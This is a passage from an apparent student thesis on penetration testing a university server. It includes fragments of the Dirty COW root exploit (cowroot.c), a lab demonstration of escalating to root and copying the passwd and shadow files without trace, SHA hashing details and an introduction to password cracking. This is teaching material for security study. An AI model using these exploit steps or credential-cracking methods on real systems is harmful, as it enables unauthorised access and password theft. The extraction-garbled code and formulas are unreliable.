
filesystem, /proc does not contain “real” files but instead contains files of runtime system

information. For every running process, there is a /proc/self/, and in every /proc/self/,

there is a representation of the current process’s memory in a file called mem. /proc/self/mem

is therefore a reference to the current process’s memory representation, which can be read and

written to. The third thread calls procselfmemThread, which continuously attempts to

write the file in a for-loop. Initially it performs a seek in order to move the current pointer

to the start of the file that is mapped into memory. It then writes the string passed via program

arguments to this file, triggering a copy of memory so a user can write and see the changes

of the file. Running these three threads individually would not cause issues under regular

conditions; however, when the threads are continuously run simultaneously, a race-condition

can be created. This condition tricks the the kernel into discarding the memory mapped region
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from DRAM and writing to the actual /usr/bin/passwd file instead of the private copy.

1 void ⇤procselfmemThread (void ⇤ arg )
2 {
3 char ⇤ s t r ;
4 s t r=(char⇤) arg ;
5 int f=open ( ‘ ‘ / proc / s e l f /mem’ ’ ,ORDWR) ;
6 int i , c=0;
7 for ( i =0; i <1000000 && ! stop ; i++) {
8 l s e e k ( f ,map ,SEEK SET) ;
9 c+=wr i t e ( f , s t r , s c l e n ) ;

10 }
11 p r i n t f ( ‘ ‘ thread stopped \n ’ ’ ) ;
12 }

Listing 3.3: ProcselfmemThread Method of cowroot.c.

1 void ⇤waitForWrite (void ⇤ arg ) {
2 char buf [ s c l e n ] ;
3
4 for ( ; ; ) {
5 FILE ⇤ fp = fopen ( su id b inary , ‘ ‘ rb ’ ’ ) ;
6
7 f r ead ( buf , s c l en , 1 , fp ) ;
8
9 i f (memcmp( buf , sc , s c l e n ) == 0) {

10 p r i n t f ( ‘ ‘% s ove rwr i t t en \n ’ ’ , s u id b ina ry ) ;
11 break ;
12 }
13
14 f c l o s e ( fp ) ;
15 s l e e p (1 ) ;
16 }
17 stop = 1 ;
18
19 p r i n t f ( ‘ ‘ Popping root s h e l l .\n ’ ’ ) ;
20 p r i n t f ( ‘ ‘ Dont f o r g e t to r e s t o r e /tmp/bak\n ’ ’ ) ;
21 system ( su id b ina ry ) ;
22 }

Listing 3.4: WaitForWrite Method of cowroot.c.

The final thread, Listing 3.4, continuously checks whether the /etc/passwd file has

successfully been overwritten. If this thread detects the password file has been overwritten, it

halts itself and opens a new shell with root level privileges. Otherwise, the thread allows itself

to continue running.
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Demonstration of Dirty COW

For the protection of the student server and its users, Dirty COW was never executed on

student.cs.appstate.edu. Instead, the exploit was run in a virtual lab environment.

Specifically, a virtual Kali Linux system was used as the attacker’s machine, through which a

user could ssh to a Red Had Linux virtual machine. Because the virtual Red Hat Linux machine

runs the same version of Linux as the student machine and had a copy of the student machine’s

/etc/passwd and /etc/shadow files, it acted as a safe target for executing exploits without

placing student.cs.appstate.edu at risk. After sshing into the virtual representation

of student.cs.appstate.edu, a general user, zuehlkeak, is able to run the command

id, to display user information before attempting to touch /etc/shadow, which attempts

to modify a file accessible only to users with root level access. As illustrated in Figure 3.6, the

user zuehlkeak has the uid of 1001 and receives the error “Permission denied” when

attempting to update /etc/shadow.

Still as a general user, zuehlkeak is able to execute ./cowroot. This backs up

the /usr/bin/passwd file, creates a race condition that results in the incorrect handling of

copy-on-write, allowing a root shell to be established. The same two commands previously run

by zuehlkeak are run again as illustrated in Figure 3.7; however, after running the exploit,

zuehlkeak now has uid of 0, signifying root, and has no errors or issues executing touch

/etc/shadow.

Using the newly acquired root access, zuehlkeak is able to copy the /etc/passwd

and /etc/shadow files to the virtual Kali Linux machine, restore /etc/passwd to its original

state and disconnect from student.cs.appstate.edu, without leaving a trace of the exploit

behind. The two copied files are explained and further exploited in Chapters 4 and 5.
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Figure 3.6: Terminal Before Executing cowroot.c.

Figure 3.7: Terminal After Executing cowroot.c.



Chapter 4

Passwords and Hashing

After exploiting vulnerabilities described in Section 3.2, it is possible and relatively straight

forward to gain root access on student.cs.appstate.edu. The user “root” is the account

that, by default, has access to all commands and files on Linux operating systems. As a root

user, it is possible to obtain access to the /etc/passwd and /etc/shadow files, allowing

encrypted passwords to be accessed and potentially cracked.

4.1 Password and Shadow Files

The storage, and more importantly the encryption, of passwords on Linux systems has evolved

dramatically since the initial release of Linux in 1991. Although previous operating systems,

such as UNIX, were criticized for storing users’ passwords in clear text, the initial versions of

Linux stored hashed passwords in /etc/passwd. This file, while readable to any authenticated

user of a system by default, used various hashing algorithms to disguise passwords from potential

attackers. For many years, and even in a few Linux distributions in existence today, the Message

Digest 5 Algorithm (MD5), was the default hash used to encrypt passwords. Due to numerous

vulnerabilities eventually discovered in MD5, as well as its inability to hold up against Brute-

Force attacks, most Linux systems now default to using stronger hash algorithms, such as

variations of the Secure Hash Algorithm (SHA) [24]. Figure 4.1 illustrates the general format

of an entry in the /etc/passwd file.

26
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zuehlkeak| {z }
1

:
2z}|{
x : 20970| {z }

3

:

4z}|{
100 : Zuehlke, Andrew| {z }

5

:

6z }| {
/u/css/zuehlkeak : /bin/tcsh| {z }

7

.

1. Username: The name a user uses when logging in.

2. Password: A hashed representation of a user’s password; an ‘x’ character indicates the
hashed password is stored in the /etc/shadow file.

3. User ID (UID): A unique identifier assigned to each user.

4. Group ID (GID): The primary group ID of a user.

5. User ID Info: A comment field, used for adding additional details, such as a user’s full
name.

6. Home directory: The absolute path to the initial directory a user logs into.

7. Command/shell: The absolute path of a command or shell, such as /bin/bash, that
is executed after a user logs in.

Figure 4.1: General Layout for /etc/passwd File.

Although the use of /etc/passwd o↵ers more security than storing passwords in clear

text, its visibility to all users poses a large security flaw: any authenticated user of a system

could see /etc/passwd and therefore attempt to crack the passwords stored within. The

solution to this issue was published in John F. Haugh II’s Shadow Password Suite [25]. Haugh’s

proposal was a software suite, now referred to as the Shadow Suite, that consists of various

library modules and administrative utilities that help improve system security [25]. Haugh’s

motivation for releasing such a tool was to improve the security of password storage on a system.

The fundamental change of the Shadow Suite was to remove the encrypted password data from

its conventional location, /etc/passwd, and instead place the encrypted data in a new file,

/etc/shadow [25]. Unlike the /etc/passwd file, the /etc/shadow file can only be read

by the root user. Additionally, the shadow file contains more fields for each entry, illustrated

in Figure 4.2.

One year after the release of the Linux Project, the Shadow Suite was added to Linux.

Due to the open-source nature of Linux, distributions were not required to implement the

Shadow Suite. This resulted in a wide variety of password encryption methods on Linux dis-
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zuehlkeak| {z }
1

:

2z }| {
$6$rounds=656000$... : 17024| {z }

3

:

4z}|{
0 : 200|{z}

5

:

6z}|{
14 : |{z}

7

:

8z }| {
18262 : |{z}

9

.

1. User name: The name a user uses when logging in.

2. Password: A hashed representation of a user’s password. The type of hash used appears
first between two dollar signs, followed by the number of rounds used, followed by a salt
in plain text (if used), followed by the hashed password.

3. Last Password Change: The number of days from January 1, 1970 since the password
was last changed.

4. Minimum Days: The number of days before a user’s password must be changed.

5. Maximum Days: The number of days a password is still valid.

6. Warning: The number of days a user should be warned before their password needs to
be changed.

7. Inactive: The number of days after a password expires that an account becomes disabled.

8. Expire: The number of days since January 1, 1970 that an account has been disabled.

9. Unused: A reserved field, possibly for use in the future.

Figure 4.2: General Layout for /etc/shadow File.
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tributions during the 1990s. As security became more important to administrators and users,

more distributions began utilizing the Shadow file method of encrypting passwords.

4.2 Secure Hash Algorithms

As briefly mentioned in Section 4.1, shadow files use a Secure Hash Algorithm as the method

of choice for hashing passwords. First published on May 11, 1993 in FIPS PUB 180, the first

Secure Hash Algorithm was quickly superseded on April 17, 1995 by Secure Hash Algorithm 1

(SHA-1) in FIPS PUB 180-1. These algorithms are one-way hash functions that take a message

as input and produce a message digest [2]. This message digest is a condensed and encrypted

representation of the original input. The purpose of hashing is to encrypt a message in a manner

that is easy to encrypt but very di�cult to reverse. In the case of a Shadow file, the message is

a password. Because a change of only a single character results in an entirely di↵erent message

digest, using a hash allows a computer to easily check if a provided password is correct or not

[2].

Although numerous updates, improvements and variations have been developed since

the release of SHA-1, the overall process of SHA algorithms has remained relatively constant.

The first step of SHA, referred to as preprocessing, begins with padding a message to a pre-

determined length [2]. The padded message is then broken into equal length blocks and the

values used for hash computation are initialized [2]. The second step, hash computation, uses

the padded message to generate a message schedule. This schedule is then used, in addition to

a set of functions, constants, and word operations, to repeatedly generate a list of hash values

[2]. The final value of the hash computation stage is used to ultimately determine the message

digest. The major di↵erences in various SHA algorithms exist in the length of the message

digest and therefore the number of bits of security they each provide. The bits of security

represents the number of possible outputs a hash function has. For example, an algorithm with

n bits of security has 2n possible message digests; consequently, in a “worst-case scenario,” a

brute force attack would require 2n calculations. Therefore, the longer a message digest is,

the more bits of security is provided. An overview of the di↵erences of a few popular SHA

algorithms is illustrated in Table 4.1.
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Algorithm Message Size
(bits)

Block Size
(bits)

Word Size
(bits)

Message Digest
Size (bits)

SHA-1 < 264 512 32 160

SHA-224 < 264 512 32 224

SHA-256 < 264 512 32 256

SHA-384 < 2128 1024 64 384

SHA-512 < 2128 1024 64 512

SHA-512/224 < 2128 1024 64 224

SHA-512/256 < 2128 1024 64 256

Table 4.1: Secure Hash Algorithm Properties.

SHA functions use a variety of bitwise operations in computing hashes; therefore, before

explaining SHA-1 and SHA-512, a brief introduction to such operations is necessary. The

bitwise AND operation (^) performs an AND operation on pairs of corresponding bits of two

numbers; the result in each position is 1 only if both bits are 1, and is 0 otherwise. The

bitwise OR operation (_) performs an inclusive-OR operation on pairs of corresponding bits

of two numbers; the result in each position is 1 if either or both bits are 1, and is 0 only if

both bits are 0. A bitwise XOR operation (�) performs an exclusive-OR operation on pairs of

corresponding bits of two numbers; the result in each position is 1 only if one of the bits is 1,

and is 0 if both bits are 1 or both bits are 0.

Additionally, some variations of SHA use shift and rotate operations. A left-shift oper-

ation (x << n) drops the left-most n bits of the word, x, and pads the result with n zeros on

the right. A right-shift operation (x >> n) drops the right-most n bits of the word, x, and pads

the result with n zeros on the left. A right shift operation can also be expressed as SHRn(x),

where x is a w-bit word and n is an integer such that 0  n < w, and performs

SHRn(x) = x >> n. (4.1)

The rotate right, or circular right shift, operation, ROTRn(x), where x is a w-bit word and n
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1. 00001111 ^ 01100110 = 00000110

2. 00001111 _ 01100110 = 01101111

3. 00001111 � 01100110 = 01101001

4. SHR3(00001111) = 00001111 >> 3 = 00000001

5. SHL3(00001111) = 00001111 << 3 = 01111000

6. ROTR3(00001111) = (00001111 >> 3) _ (00001111 << (8� 3)) = 11100001

Figure 4.3: Examples of Bitwise Operations.

is an integer such that 0  n < w, performs

ROTRn(x) = (x >> n) _ (x << w � n). (4.2)

Figure 4.3 provides examples to illustrate these operations on 8-bit words.

SHA-1

Although the SHA-512 hash algorithm supersedes SHA-1, its mathematical functions and word

operations remain heavily influenced by SHA-1. Because SHA-1 uses smaller constants and

fewer operations, an overview of SHA-1 follows first to illustrate the general process. A full

and detailed explanation of SHA-1 is available in FIPS Publication 180-2 [2] but is beyond the

scope of this thesis.

Padding the Message

The SHA-1 algorithm begins by modifying the original message to a unique representation of

the message with a length that is a multiple of 512 bits. Assume a message, M , is l bits in

length. Preprocessing begins with appending a ‘1’ to M , followed by appending k zeros, such

that k is the smallest positive integer that satisfies the equation, l + 1 + k = 448 mod 512

[2]. Finally, the length of the original message, l, is appended as a 64-bit binary number. The

resulting M is now a multiple of 512 bits. The following uses “ASU” as an example of an 24-bit

ASCII message to modify with SHA-1. “ASU” is l = 8 · 3 = 24 bits by itself, and 25 after
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01000001| {z }
“A”

01010011| {z }
“S”

01010101| {z }
“U”

1

k = 423z }| {
00 . . . 00

64z }| {
00 . . . 011000 .00 . . . 011000| {z }

l = 24

.

Figure 4.4: Padded Message with SHA-1.

appending a ‘1.’ k is found by 448� (24 + 1) = 423 zeros. Therefore, the padded message now

can be represented as illustrated in Figure 4.4.

Parsing the Message

Now that the message M is padded to a multiple of 512 bits, it is broken into N 512-bit blocks,

respectively labeled M (1), M (2), . . . , M (N) [2]. Each 512-bit block is broken into sixteen 32-bit

words. Each word is then labeled by its location; for example, the first 32 bits of the ith block

are denoted M (i)
0 , followed by the second word of the ith block denoted as M (i)

1 [2]. This naming

scheme is continued up to the fifteenth word, denoted as M (i)
15 .

Setting the Initial Hash Value (H(0))

The final preprocessing phase of SHA-1 involves setting the initial hash value, H(0). SHA-1

uses five 32-bit constant words, in hex, for its initial hash value. The words are:

H(0)
0 = 0x67452301

H(0)
1 = 0xEFCDAB89

H(0)
2 = 0x98BADCFE

H(0)
3 = 0x10325476

H(0)
4 = 0xC3D2E1F0. [2]

SHA-1 Hash Computation

SHA-1 uses a set of eighty logical functions, f
o

, f1, . . . , f79. Each of these functions operates on

three 32-bit words as input, x, y, and z, and produces a single 32-bit word as output, using the

bitwise AND (^) and bitwise XOR (�) operations to do so [2]. Each function f
t

(x, y, z), where
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0  t  79, is defined as follows:

f
t

(x, y, z) =

8
>>>>>>>>>><

>>>>>>>>>>:

Ch(x, y, z) = (x ^ y)� (x ^ z) 0  t  19

Parity(x, y, z) = x� y � z 20  t  39

Maj(x, y, z) = (x ^ y)� (x ^ z)� (y ^ z) 40  t  59

Parity(x, y, z) = x� y � z 60  t  79.

(4.3)

SHA-1 also utilizes eighty 32-bit constants, K0,K1, . . . ,K79. These constants are used during

the third step of SHA-1 Hash Computation to calculate a new temporary word. The constants

are determined as follows [2]:

K
t

=

8
>>>>>>>>>><

>>>>>>>>>>:

5A827999 0  t  19

6ED9EBA1 20  t  39

8F1BBCDC 40  t  59

CA62C1D6 60  t  79.

(4.4)

After preprocessing, the actual SHA-1 hash computation occurs such that each message block,

M (1),M (2), . . . ,M (N), is processed sequentially [2]. The following variables and constants are

used during the hashing process:

• W0,W1,W2, . . . ,W78,W79 – The eighty words of the message schedule.

• a, b, c, d, e – The five working variables.

• H(i)
0 , H(i)

1 , H(i)
2 , H(i)

3 , H(i)
4 – The five words of the hash value.

• H(0) – The initial hash value.

• H(i) – The intermediate hash value after each message block computation.

• H(N) – The final hash value.

• T – A temporary word used during step three of the hash computation process.
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The hash computation begins by processing each message block in sequential order in a series

of four steps. These steps are then repeated in a for-loop from i = 1 to i = N .

The first step calculates W
t

, the message schedule, as follows:

W
t

=

8
>><

>>:

M (i)
t

0  t  15

ROTL1(W
t�3 �W

t�8 �W
t�14 �W

t�16) 16  t  79.

The second step initializes the five working variables with the (i� 1)st hash value.

a = H(i�1)
0

b = H(i�1)
1

c = H(i�1)
2

d = H(i�1)
3

e = H(i�1)
4 .

The third step calculates and updates the working variables. In a nested for-loop, from t = 0

to t = 79, the working variables are computed as follows:

T = ROTL5(a) + f
t

(b, c, d) + e+K
t

+W
t

e = d

d = c

c = ROTL30(b)

b = a

a = T .

The fourth step of the hash computation involves computing the ith intermediate hash value

H(i):

H(i)
0 = a+H(i�1)

0
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H(i)
1 = b+H(i�1)

1

H(i)
2 = c+H(i�1)

2

H(i)
3 = d+H(i�1)

3

H(i)
4 = e+H(i�1)

4

The final result of the for-loop, that is after processing M (N), is a 160-bit message digest of the

message, M . The message digest is formed by:

H(N)
0 k H(N)

1 k H(N)
2 k H(N)

3 k H(N)
4 .

SHA-512

As discussed in Chapter 5, the /etc/shadow file from student.cs.appstate.edu uses

the SHA-512 hashing algorithm to encrypt users’ passwords. Therefore, the following includes

a brief overview of SHA-512; a full and detailed explanation of SHA-512 is available in FIPS

Publication 180-4 [31] but is beyond the scope of this thesis.

The hashing algorithm used for the shadow file in Red Hat Linux is, by default,

SHA-512. SHA-512 improves upon the previously explained SHA-1 by increasing the bits

of security as well as allowing for larger messages, up to size 2128, to be hashed. The algorithm

produces a 512-bit message digest. Unlike SHA-1 which uses eighty 32-bit words, four 32-bit

working variables, and a hash value of four 32-bit words, SHA-512 increases security by em-

ploying eighty 64-bit words for the message schedule, eight 64-bit working variables, and eight

64-bit words for the hash value [2].

Padding the Message

The SHA-512 algorithm follows a very similar set of steps as for SHA-1. It begins by modifying

the original message to a unique representation of the message with a length that is a multiple

of 1024 bits. Suppose a message, M , is l bits. Preprocessing begins by appending a ‘1’ to

M , followed by k zeros, such that k is the smallest positive integer that satisfies the equation,

l + 1 + k = 896 mod 1024 [2]. Finally, the length of the original message, l, is appended as a
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128-bit binary number, resulting in M being a multiple of 1024 bits. The following uses “ASU”

as an example of an 24-bit ASCII message to modify with SHA-512. “ASU” is l = 8 · 3 = 24

bits by itself, and 25 after appending a ‘1.’ k is found by 896� (24+1) = 871 zeros. Therefore,

the padded message is now:

01000001| {z }
“A”

01010011| {z }
“S”

01010101| {z }
“U”

1

k = 871z }| {
00 . . . 00

128z }| {
00 . . . 011000 .00 . . . 011000| {z }

l = 24

.

Parsing the Message

Now that the message M is padded to a multiple of 1024 bits, it is broken into N 1024-bit

blocks, respectively labeled M (1), M (2), . . . , M (N) [2]. Each 1024-bit block is broken into

sixteen 64-bit words. Similar to SHA-1, each word is labeled by its respective location; the first

64 bits of the ith block are denoted M (i)
0 , followed by the second word of the ith block denoted

as M (i)
1 [2]. This scheme is continued through the fifteenth word, denoted M (i)

15 .

Setting the Initial Hash Value (H(0))

The final preprocessing phase of SHA-512 involves setting the initial hash value,H(0). SHA-512

uses eight 64-bit words for its initial hash value. These words, built from the first sixty-four

bits of the fractional parts of the square roots of the first eight prime numbers, are:

H(0)
0 = 0x6A09E667F3BCC908

H(0)
1 = 0xBB67AE8584CAA73B

H(0)
2 = 0x3C6EF372FE94F82B

H(0)
3 = 0xA54FF53A5F1D36F1

H(0)
4 = 0x510E527FADE682D1

H(0)
5 = 0x9B05688C2B3E6C1F

H(0)
6 = 0x1F83D9ABFB41BD6B

H(0)
7 = 0x5BE0CD19137E2179. [2]
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SHA-512 Hash Computation

SHA-512 uses a set of six logical functions, which use the bitwise AND (^) and bitwise XOR

(�) operations, as well as right shift (SHRn(x)) and rotate right (ROTRn(x)). Each of these

functions operate on 64-bit words, x, y, and z, as input and produce a single 64-bit word as

output.

Ch(x, y, z) = (x ^ y)� (x ^ z) (4.5)

Maj(x, y, z) = (x ^ y)� (x ^ z)� (y ^ z) (4.6)

{512}X

0

(x) = ROTR28(x)�ROTR34(x)�ROTR39(x) (4.7)

{512}X

1

(x) = ROTR14(x)�ROTR18(x)�ROTR41(x) (4.8)

�{512}
0 (x) = ROTR1(x)�ROTR8(x)� SHR7(x) (4.9)

�{512}
1 (x) = ROTR19(x)�ROTR61(x)� SHR6(x) (4.10)

SHA-512 also utilizes eighty 64-bit constants, K{512}
0 ,K{512}

1 , . . . ,K{512}
79 , which come from the

first sixty-four bits of the fractional parts of the cube roots of the first eighty prime numbers

[2]. These constants are, from left to right:
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428a2f98d728ae22 7137449123ef65cd b5c0fbcfec4d3b2f e9b5dba58189dbbc

3956c25bf348b538 59f111f1b605d019 923f82a4af194f9b ab1c5ed5da6d8118

d807aa98a3030242 12835b0145706fbe 243185be4ee4b28c 550c7dc3d5ffb4e2

72be5d74f27b896f 80deb1fe3b1696b1 9bdc06a725c71235 c19bf174cf692694

e49b69c19ef14ad2 efbe4786384f25e3 0fc19dc68b8cd5b5 240ca1cc77ac9c65

2de92c6f592b0275 4a7484aa6ea6e483 5cb0a9dcbd41fbd4 76f988da831153b5

983e5152ee66dfab a831c66d2db43210 b00327c898fb213f bf597fc7beef0ee4

c6e00bf33da88fc2 d5a79147930aa725 06ca6351e003826f 142929670a0e6e70

27b70a8546d22ffc 2e1b21385c26c926 4d2c6dfc5ac42aed 53380d139d95b3df

650a73548baf63de 766a0abb3c77b2a8 81c2c92e47edaee6 92722c851482353b

a2bfe8a14cf10364 a81a664bbc423001 c24b8b70d0f89791 c76c51a30654be30

d192e819d6ef5218 d69906245565a910 f40e35855771202a 106aa07032bbd1b8

19a4c116b8d2d0c8 1e376c085141ab53 2748774cdf8eeb99 34b0bcb5e19b48a8

391c0cb3c5c95a63 4ed8aa4ae3418acb 5b9cca4f7763e373 682e6ff3d6b2b8a3

748f82ee5defb2fc 78a5636f43172f60 84c87814a1f0ab72 8cc702081a6439ec

90befffa23631e28 a4506cebde82bde9 bef9a3f7b2c67915 c67178f2e372532b

ca273eceea26619c d186b8c721c0c207 eada7dd6cde0eb1e f57d4f7fee6ed178

06f067aa72176fba 0a637dc5a2c898a6 113f9804bef90dae 1b710b35131c471b

28db77f523047d84 32caab7b40c72493 3c9ebe0a15c9bebc 431d67c49c100d4c

4cc5d4becb3e42b6 597f299cfc657e2a 5fcb6fab3ad6faec 6c44198c4a475817.

(4.11)

After preprocessing, the actual SHA-512 hash computation occurs such that each message

block, M (1),M (2), . . . ,M (N), is processed sequentially [2]. The following variables and constants

are used during the hashing process:

• W0,W1,W2, . . . ,W78,W79 – The eighty words of the message schedule.
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• a, b, c, d, e, f, g, h – The eight working variables.

• H(i)
0 , H(i)

1 , H(i)
2 , . . . , H(i)

7 – The five words of the hash value.

• H(0) – The initial hash value.

• H(i) – The intermediate hash value after each message block computation.

• H(N) – The final hash value.

• T1, T2 – Two temporary words used during step three of the hash computation process.

The hash computation processes each message block, in order, in a series of four steps, repeated

in a for-loop from i = 1 to i = N .

The first step calculates W
t

, the message schedule, as follows:

W
t

=

8
>><

>>:

M (i)
t

0  t  15

�{512}
1 (W

t�2 +W
t�7 + �{512}

0 (W
t�15 +W

t�16 16  t  79.

The second step initializes the eight working variables with the (i� 1)st hash value.

a = H(i�1)
0

b = H(i�1)
1

c = H(i�1)
2

d = H(i�1)
3

e = H(i�1)
4

f = H(i�1)
5

g = H(i�1)
6

h = H(i�1)
7 .

The third step calculates and updates the working variables. In an internal for-loop, from t = 0

to t = 79, the working variables are computed as follows:
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T1 = h+
P{512}

1 (e) + Ch(e, f, g) +K512
t

+W
t

T2 =
P{512}

0 (a) +Maj(a, b, c)

h = g

g = f

f = e

e = d+ T1

d = c

c = b

b = a

a = T1 + T2.

The fourth step of the hash computation involves computing the ith intermediate hash value

H(i):

H(i)
0 = a+H(i�1)

0

H(i)
1 = b+H(i�1)

1

H(i)
2 = c+H(i�1)

2

H(i)
3 = d+H(i�1)

3

H(i)
4 = e+H(i�1)

4

H(i)
5 = f +H(i�1)

5

H(i)
6 = g +H(i�1)

6

H(i)
7 = h+H(i�1)

7 .
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The final result of the for-loop, that is after processing M (N), is a 512-bit message digest of the

message, M . The message digest is formed by:

H(N)
0 k H(N)

1 k H(N)
2 k H(N)

3 k H(N)
4 k H(N)

5 k H(N)
6 k H(N)

7 .

Comparing the steps and output from this example and the example used in the previous

subsection allows for a comparison between SHA-1 and SHA-512.

4.3 Salted Password Hashing

Despite the complex mathematics involved, hashing a password by itself does not provide su�-

cient security against modern day systems with increasing computational capabilities. Hashing

alone results in a specific password always hashing to the same hashed value. For example, us-

ing SHA-512, the password “ASU” always hashes to the message digest “65FC0A2CFA97191D

8C10C95DA8F0C22610DEA7EEA6BED15BE864C0893C9138D94D6273F645B66DD445F05

7F35ABA5BE059AA4D8369CE9D1098605006057B4288.” Consequently, an attacker could

create a list of precomputed hashes for likely or commonly used passwords. This method is

referred to as a rainbow table and is described in Section 5.1. Using a rainbow table eliminates

the need for calculating password hashes during a password attack and therefore dramatically

decreases the time and resources required to crack a list of passwords.

The solution commonly used to avoid this issue is the utilization of “salts” on each

password. A password salt is a random set of characters created and attached to a user’s

password [28]; the message digest is then calculated by hasing the salt and password together.

Although the extra step of adding a salt for each password is trivial for a computer, it results

in an exponential increase in di�culty for an attacker to crack. Using salted passwords, two

users may have the exact password, but it will encrypt completely di↵erently. Using the salts

“0EgHXYQ” and “Q3BDrKz1” with the password “ASU” e↵ectively results in a hash being

calculated for “ASU0EgHXYQ” and “ASUQ3BDrKz1,” respectively; the corresponding hashes

for these passwords are displayed in Table 4.2. To test the password “ASU” against a list

of unsalted passwords requires “ASU” to be hashed only once before comparing the message
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Initial Password Salt Resulting Hash

ASU 65FC0A2CFA97191D8C10C95DA8F0C226-

10DEA7EEA6BED15BE864C0893C9138D9-

4D6273F645B66DD445F057F35ABA5BE0-

59AA4D8369CE9D1098605006057B4288

ASU 0EgHXYQF 554640565d66f2a6e49507b018eac666-

2f062cf920a71dc13d828a037c48ad50-

f729c79922fad6da8a96dde0a4d2d09a-

87123650b33674451ba6b5ef6d4013e8

ASU Q3BDrKz1 e7ba39884d3b67bdbf46e929cba3a74e-

79bca931dbeec9df7ae822643a8c9f47-

8c40a1fb12763c114eb0eeaa45b01f5b-

f13036ff88f678f2232bf0fdcd1f6a64

Table 4.2: SHA-512 Hashing with Password Salts.

digest to each password in the list. By adding unique salts for each password, “ASU” must be

combined and hashed with each password salt.



Chapter 5

Password Cracking

The /etc/passwd and /etc/shadow files can be obtained by executing the Dirty COW

exploit described in Chapter 3. The SHA-512 hashing algorithm illustrated in Chapter 4

explains how the passwords are encrypted. Acquiring password files is a huge success for

penetration testers; although an organization can install updates and security patches, users

cannot be patched and often use passwords that are easily guessed or cracked via Brute-Force

attacks [42]. This chapter explains and demonstrates how to crack passwords.

5.1 Word Lists, Rainbow Tables, and Dictionaries

Password cracking tools rely on a list of possible passwords. Listing 5.1 illustrates an example

of a password list, intentionally with very few and weak passwords. The password list used

in an example later in this chapter contained nearly 15,000,000 password guesses; while this is

not a small list of passwords, it is also not considered large by penetration testers who often

use lists with billions of possible password candidates. In 2015, a computer run operated by

Kaspersky Labs reportedly guessed more than 300 billion plain text passwords every second,

for two weeks straight [22]. Kaspersky’s computer is an unusual powerhouse in that it is a

supercomputer; however, it is not uncommon for individual computers to have the capability

to make tens of thousand plain text guesses every second.

It is common practice to use information gathered during previous stages of a pene-

tration test to build an educated password list for a specific target. For example, students at

43
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root@SeniorThesisKali:˜# cat passwordlist.txt

abcdef

abc123

password

Password

pa55w0rd

this is my password

Figure 5.1: Example of a Password List.

Character Set Password
Lengths

Size of Key Space Size of Rain-
bow Table

ASCII Characters 32-95 1 to 7 70,576,641,626,495 52 GB

ASCII Characters 32-95 1 to 8 6,704,780,954,517,120 460 GB

Mixed Alpha-Numeric 1 to 8 221,919,451,578,090 127 GB

Mixed Alpha-Numeric 1 to 9 13,759,005,997,841,642 690 GB

Table 5.1: SHA-1 Rainbow Tables from the RainbowCrack Project.

Appalachian State University are more likely to have passwords that combine words such as

“ASU,” “AppState,” and “Yosef,” as well as their graduation year; therefore, if time is limited,

using a password list with various combinations of these words is more e�cient then using a

list with randomized words such as “Maine” or “alligator.” One issue with using password lists

is the processing power required; for every password guessed, the computer must calculate the

corresponding hash.

As briefly discussed in Section 4.3, another alternative method to password lists is the

use of rainbow tables—a precomputed table used for reversing cryptographic hash functions.

By storing precomputed hashes, rainbow tables limit the processing time and resources required

while cracking passwords; consequently, however, rainbow tables require more disk space to store

su�cient solutions. Each increase in length of a password results in an exponential increase in

the size of the respective rainbow table. Table 5.1 uses freely available rainbow tables from the

“RainbowCrack project” to illustrate this exponential increase in size [12].

Although using rainbow tables in certain circumstances can improve cracking times, in
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many cases the use of rainbow tables is simply not feasible. For instance, hashes that use salts,

such as encountered in student.cs.appstate.edu, would have too many possibilities to

calculate, making a rainbow table attack impracticable. Another alternative to password lists

and rainbow tables is what is commonly referred to as a dictionary attack; in this scenario

a collection of “dictionary” words are used as a password list. Because many organizations

discourage or even reject passwords with dictionary words, the use and success of dictionary

attacks has declined greatly in the past decade.

5.2 Password Cracking Tools

Although it is possible for a human to guess a few passwords by hand, doing such for a list of

a million passwords is unrealistic and ine�cient. To eliminate this issue, a number of password

cracking programs and utilities have been developed to automate the process. Many penetration

testers opt to use one of these preexisting programs instead of creating new ones because the

programs have been optimized to work well with modern processors and hardware. This section

focuses on two of the more popular Open Source software packages, John the Ripper and

oclHashcat.

A password cracking program tests one entry from a password or shadow file at a time.

Because passwords are stored in an encrypted form, in order to crack passwords, a program

follows a similar procedure to that of a computer when authenticating a user. That is, for each

entry in a shadow file with salts, a program takes the salt, stored in plain text, and attaches

it to the current password guess. The program then calculates a hash, using the combined

password and password salt as input. If the resulting hash matches the corresponding hash in

the shadow file, the password guessed is correct, otherwise it is not the correct password.

A password attack against non-salted passwords only requires a computer to calculate

one corresponding hash for each password in a given password list. For example, a password

file with 4 unsalted passwords and a password list with only 1 password guess requires only 1

hash calculation and 4 comparisons to compare the one hashed value against each password in

the password file. Adding another word to the password list results in 2 total hash calculations,

one for each password possibility, and 8 comparisons. As described later in this chapter, the
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student machine’s password file contains 967 passwords; if this file did not have salted hashes,

a password attack with a password list of 14,993,601 possibilities would require 14,993,601 hash

calculations and 967⇥ 14,993,601 = 14,498,812,167 comparisons.

When passwords are salted before hashing, as is the case with

student.cs.appstate.edu, each password in a password file has a unique password salt.

Therefore, an attack against salted passwords requires a single password guess being combined

with every password salt in a password file, one at a time, before being hashed. Each of these

message digests is then compared to the corresponding digest stored in the password file. Using

a password file with 4 salted passwords and a password list with only 1 password guess would

require 1⇥ 4 = 4 hash calculations and 1⇥ 4 = 4 comparisons. Increasing the password list to

2 passwords results in 2 ⇥ 4 = 8 hash calculations and 2 ⇥ 4 = 8 comparisons. As described

later in this chapter, the student machine’s password list has 967 passwords; an attack using a

dictionary with 14,993,601 password guesses requires 967⇥ 14,993,601 = 14,498,812,167 hash

calculations and 967⇥ 14,993,601 = 14,498,812,167 comparisons.

John the Ripper

John the Ripper is popular central processing unit (CPU) focused software that focuses on

detecting weak passwords, mainly through brute-force attacks [36]. Because of its dependence

on a system’s CPU, parallelization is limited to the number of cores on a CPU, which often

are six or less. Therefore, the workload of John The Ripper can only be evenly divided

and executed on the number of CPU cores a system has. Consequently, John the Ripper

performs best when executed on smaller password lists.

oclHashcat

John the Ripper’s alternative, oclHashcat, is a general-purpose graphics processing unit

(GPGPU) based tool that uses various attack methods to crack hashed passwords [39]. The

attacks oclHashcat supports are described in Section 5.3. Previously privately owned soft-

ware, oclHashcat only recently became Open Source with version 2.00. Although GPU cores

are not as fast as CPU cores, GPUs have many more cores; for example, NVIDIA’s GTX 1080

graphics card ships with 2560 CUDA cores. Therefore, oclHashcat is able to take advan-
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tage of the immense parallelization capabilities of GPGPUs. Additionally, oclHashcat is

frequently praised for its ability to use Markov chains to improve cracking times. A Markov

chain is a stochastic process in which the probability of each event only depends on the state

